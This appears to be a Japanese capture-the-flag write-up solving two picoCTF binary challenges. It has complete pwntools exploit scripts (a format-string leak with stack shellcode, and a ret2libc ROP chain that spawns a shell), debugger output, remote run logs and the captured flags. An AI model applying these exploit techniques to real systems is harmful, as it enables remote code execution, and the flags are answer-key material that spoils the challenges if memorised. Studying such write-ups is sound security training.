#!/usr/bin/env python3 from pwn import * ARCH = 'amd64' FILE = './gauntlet' LIBC = '' HOST = 'mercury.picoctf.net' PORT = 49704 GDB_SCRIPT = ''' break *0x004006da break *0x00400721 continue ''' def exploit(io, elf, libc, rop): payload = b'%6$p' io.sendline(payload) rdata = io.readuntil(b'\n').strip() buf_addr = int(rdata, 16) - 0x158 log.info(f'buffer address: {hex(buf_addr)}') offset = 120 shellcode = asm(shellcraft.sh()) payload = b'' payload += shellcode payload += b'A' * (offset - len(shellcode)) payload += pack(buf_addr) log.info(f'payload: {payload}') io.sendline(payload) def main(): context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO') elf = ELF(FILE) if os.path.exists(FILE) else None rop = ROP(elf) if elf is not None else None if args['REMOTE']: io = remote(HOST, PORT) libc = ELF(LIBC) if os.path.exists(LIBC) else None else: if FILE == '': return io = process([FILE]) libc = elf.libc if args['GDB']: pid = proc.pid_by_name(os.path.basename(FILE)) gdb.attach(pid[0], GDB_SCRIPT) exploit(io, elf, libc, rop) io.interactive() if __name__ == '__main__': main()
$ python3 exploit.py REMOTE [*] '/root/workdir/gauntlet' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments [*] Loaded 14 cached gadgets for './gauntlet' [+] Opening connection to mercury.picoctf.net on port 49704: Done [*] buffer address: 0x7ffeb28c5080 [*] payload: b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80P\x8c\xb2\xfe\x7f\x00\x00' [*] Switching to interactive mode $ id uid=1307(binary-gauntlet-2_4) gid=1308(binary-gauntlet-2_4) groups=1308(binary-gauntlet-2_4) $ ls flag.txt gauntlet xinet_startup.sh $ cat flag.txt 230fc5c335f1fe302abdc387d498fe40
230fc5c335f1fe302abdc387d498fe40
Here's a LIBC - 90 points
I am once again asking for you to pwn this binary vuln libc.so.6 Makefile
nc mercury.picoctf.net 49464
Ghidra でデコンパイルすると、以下のようになった。
Buffer Overflow の脆弱性があるので、pattc と patto でリターンアドレスまでのオフセットを探す。
$ gdb ./vuln -q Reading symbols from ./vuln...(no debugging symbols found)...done. gdb-peda$ pattc 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' gdb-peda$ run Starting program: /root/workdir/vuln WeLcOmE To mY EcHo sErVeR! AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
[----------------------------------registers-----------------------------------] RAX: 0x7a ('z') RBX: 0x0 RCX: 0x7ffff7b003c0 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001) RDX: 0x7ffff7dd59e0 --> 0x0 RSI: 0x7ffff7dd4483 --> 0xdd59e0000000000a RDI: 0x1 RBP: 0x6c41415041416b41 ('AkAAPAAl') RSP: 0x7fffffffe188 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") RIP: 0x400770 (<do_stuff+152>: ret) R8 : 0x7ffff7dd59e0 --> 0x0 R9 : 0x0 R10: 0x0 R11: 0x246 R12: 0x1b R13: 0x0 R14: 0x1b R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x400769 <do_stuff+145>: call 0x400540 <puts@plt> 0x40076e <do_stuff+150>: nop 0x40076f <do_stuff+151>: leave => 0x400770 <do_stuff+152>: ret 0x400771 <main>: push rbp 0x400772 <main+1>: mov rbp,rsp 0x400775 <main+4>: push r15 0x400777 <main+6>: push r14 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe188 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") 0008| 0x7fffffffe190 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") 0016| 0x7fffffffe198 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") 0024| 0x7fffffffe1a0 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") 0032| 0x7fffffffe1a8 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") 0040| 0x7fffffffe1b0 ("AuAAXAAvAAYAAwAAZAAxAAyA") 0048| 0x7fffffffe1b8 ("AAYAAwAAZAAxAAyA") 0056| 0x7fffffffe1c0 ("ZAAxAAyA") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000400770 in do_stuff () gdb-peda$ patto AAQAAmAARAAoAASAApA AAQAAmAARAAoAASAApA found at offset: 136
上記より、136 がリターンアドレスまでのオフセットだと分かった。
次に、Buffer Overflow の脆弱性を利用して puts を呼び出し、puts の GOT のアドレスを出力させる。出力させたアドレスを基に libc のベースアドレスを求める。
また、puts を呼び出した後に再度 main を呼び出して、もう一度 Buffer Overflow を起こせる状態にしておく。
#!/usr/bin/env python3 from pwn import * ARCH = 'amd64' FILE = './vuln' LIBC = './lib/libc.so.6' HOST = 'mercury.picoctf.net' PORT = 49464 GDB_SCRIPT = ''' break *0x00400769 continue ''' def exploit(io, elf, libc, rop): puts_got = elf.got['puts'] log.info(f'puts_got: {hex(puts_got)}') rop.call('puts', [puts_got]) rop.call('main') log.info(rop.dump()) offset = 136 payload = b'A' * offset payload += rop.chain() log.info(hexdump(payload)) io.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!', payload) io.readuntil('\n') # skip io.readuntil('\n') # skip rdata = io.readuntil('\n').strip() puts_addr = int.from_bytes(rdata, 'little') log.info(f'puts_addr: {hex(puts_addr)}') puts_offset = libc.symbols['puts'] libc_base = puts_addr - puts_offset log.info(f'libc_base: {hex(libc_base)}') def main(): context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO') elf = ELF(FILE) if os.path.exists(FILE) else None rop = ROP(elf) if elf is not None else None if args['REMOTE']: io = remote(HOST, PORT) libc = ELF(LIBC) if os.path.exists(LIBC) else None else: if FILE == '': return io = process([FILE]) libc = elf.libc if args['GDB']: pid = proc.pid_by_name(os.path.basename(FILE)) gdb.attach(pid[0], GDB_SCRIPT) exploit(io, elf, libc, rop) io.interactive() if __name__ == '__main__': main()
$ python3 exploit.py [*] '/root/workdir/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'./' [*] Loaded 14 cached gadgets for './vuln' [+] Starting local process './vuln': pid 827 [*] '/lib/x86_64-linux-gnu/libc-2.19.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] puts_got: 0x601018 [*] 0x0000: 0x400913 pop rdi; ret 0x0008: 0x601018 [arg0] rdi = got.puts 0x0010: 0x400540 puts 0x0018: 0x400771 main() [*] 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000080 41 41 41 41 41 41 41 41 13 09 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│ 00000090 18 10 60 00 00 00 00 00 40 05 40 00 00 00 00 00 │··`·│····│@·@·│····│ 000000a0 71 07 40 00 00 00 00 00 │q·@·│····│ 000000a8 [*] puts_addr: 0x7ffff7a80d60 [*] libc_base: 0x7ffff7a11000 [*] Switching to interactive mode WeLcOmE To mY EcHo sErVeR!
libc のベースアドレスを求めることができたので、最後に ROPgadget で ROP chain を作成して、シェルを取得する。
$ ROPgadget --binary lib/libc.so.6 --ropchain --badbytes "0a" | sed -e "s/'<Q', /libc_base + /g" | sed -e "s/= '/= b'/g" # snip p = b'' p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret p += pack(libc_base + 0x00000000003eb1a0) # @ .data p += pack(libc_base + 0x0000000000043a78) # pop rax ; ret p += b'/bin//sh' p += pack(libc_base + 0x00000000000309cc) # mov qword ptr [rdx], rax ; ret p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8 p += pack(libc_base + 0x00000000000b1835) # xor rax, rax ; ret p += pack(libc_base + 0x00000000000309cc) # mov qword ptr [rdx], rax ; ret p += pack(libc_base + 0x000000000002155f) # pop rdi ; ret p += pack(libc_base + 0x00000000003eb1a0) # @ .data p += pack(libc_base + 0x0000000000023e8a) # pop rsi ; ret p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8 p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8 p += pack(libc_base + 0x00000000000b1835) # xor rax, rax ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000013c0) # syscall
先ほどのスクリプトに追記して実行すると、シェルを取ることができた。
#!/usr/bin/env python3 from pwn import * ARCH = 'amd64' FILE = './vuln' LIBC = './lib/libc.so.6' HOST = 'mercury.picoctf.net' PORT = 49464 GDB_SCRIPT = ''' break *0x00400769 continue ''' def exploit(io, elf, libc, rop): puts_got = elf.got['puts'] log.info(f'puts_got: {hex(puts_got)}') rop.call('puts', [puts_got]) rop.call('main') log.info(rop.dump()) offset = 136 payload = b'A' * offset payload += rop.chain() log.info(hexdump(payload)) io.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!', payload) io.readuntil('\n') # skip io.readuntil('\n') # skip rdata = io.readuntil('\n').strip() puts_addr = int.from_bytes(rdata, 'little') log.info(f'puts_addr: {hex(puts_addr)}') puts_offset = libc.symbols['puts'] libc_base = puts_addr - puts_offset log.info(f'libc_base: {hex(libc_base)}') offset = 136 p = b'A' * offset p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret p += pack(libc_base + 0x00000000003eb1a0) # @ .data p += pack(libc_base + 0x0000000000043a78) # pop rax ; ret p += b'/bin//sh' p += pack(libc_base + 0x00000000000309cc) # mov qword ptr [rdx], rax ; ret p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8 p += pack(libc_base + 0x00000000000b1835) # xor rax, rax ; ret p += pack(libc_base + 0x00000000000309cc) # mov qword ptr [rdx], rax ; ret p += pack(libc_base + 0x000000000002155f) # pop rdi ; ret p += pack(libc_base + 0x00000000003eb1a0) # @ .data p += pack(libc_base + 0x0000000000023e8a) # pop rsi ; ret p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8 p += pack(libc_base + 0x0000000000001b96) # pop rdx ; ret p += pack(libc_base + 0x00000000003eb1a8) # @ .data + 8 p += pack(libc_base + 0x00000000000b1835) # xor rax, rax ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000d0e60) # add rax, 1 ; ret p += pack(libc_base + 0x00000000000013c0) # syscall io.sendlineafter(b'WeLcOmE To mY EcHo sErVeR!', p) def main(): context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO') elf = ELF(FILE) if os.path.exists(FILE) else None rop = ROP(elf) if elf is not None else None if args['REMOTE']: io = remote(HOST, PORT) libc = ELF(LIBC) if os.path.exists(LIBC) else None else: if FILE == '': return io = process([FILE]) libc = elf.libc if args['GDB']: pid = proc.pid_by_name(os.path.basename(FILE)) gdb.attach(pid[0], GDB_SCRIPT) exploit(io, elf, libc, rop) io.interactive() if __name__ == '__main__': main()
$ python3 exploit.py REMOTE [*] '/root/workdir/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'./' [*] Loaded 14 cached gadgets for './vuln' [+] Opening connection to mercury.picoctf.net on port 49464: Done [*] '/root/workdir/lib/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] puts_got: 0x601018 [*] 0x0000: 0x400913 pop rdi; ret 0x0008: 0x601018 [arg0] rdi = got.puts 0x0010: 0x400540 puts 0x0018: 0x400771 main() [*] 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000080 41 41 41 41 41 41 41 41 13 09 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│ 00000090 18 10 60 00 00 00 00 00 40 05 40 00 00 00 00 00 │··`·│····│@·@·│····│ 000000a0 71 07 40 00 00 00 00 00 │q·@·│····│ 000000a8 [*] puts_addr: 0x7f8741ebca30 [*] libc_base: 0x7f8741e3c000 [*] Switching to interactive mode AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd $ id uid=1559(here-s-a-libc_4) gid=1560(here-s-a-libc_4) groups=1560(here-s-a-libc_4) $ ls flag.txt libc.so.6 vuln vuln.c xinet_startup.sh $ cat flag.txt picoCTF{1_<3_sm4sh_st4cking_37b2dd6c2acb572a}
picoCTF{1_<3_sm4sh_st4cking_37b2dd6c2acb572a}